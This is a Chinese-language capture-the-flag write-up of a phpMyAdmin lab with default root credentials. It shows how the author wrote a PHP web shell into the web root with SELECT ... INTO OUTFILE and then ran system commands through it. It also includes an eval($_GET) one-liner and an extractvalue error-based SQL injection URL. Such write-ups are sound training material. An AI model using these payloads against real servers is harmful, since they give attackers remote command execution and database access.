目录
一、靶场环境
1.1、平台:
123.58.224.8:64697
(看见这种页面,一般人就直接放弃了)
1.2、知识:
1、<pre>
pre 元素可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。
<pre> 标签的一个常见应用就是用来表示计算机的源代码
2、写马
select into outfile "/path/file"
(知道log路径,也可以写入log中,如select '<?php eval($_GET[g]);?>')
1.3、描述:
基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等
(mysql是不允许外网连接的,有第三方工具就方便多了)
二、漏洞验证
2.1、分析:
URL后面加上/pma/index.php
(进入到了登陆页面)
提示的
账号密码root/123456
执行SQL语句
输入
select @@datadir
(查询数据库的路径)
select @@basedir
(查询MYSQL数据库的安装路径)
网站路径就凭经验和爆破了
SELECT load_file('/var/www/html/pma/index.php')
返回数据包4kb,一看就有东西,就对了
所以网站绝对路径为/var/www/html/pma
写马
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php'
其他思路:
在sql执行环境下也有其他方法传参(但太过于复杂,token还需要截取点击go后的数据包来填)
http://ip:port/pma/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))–+db=&token=&viewing_mode=server
而且要一级一级往下去查询
(所以能写马,就写马)
2.4、解题:
使用写入的参数cmd传入值
刚开始用的cat读取文件(一想才知道flag是文件名)
http://ip:port/pma/shell.php?cmd=ls /tmp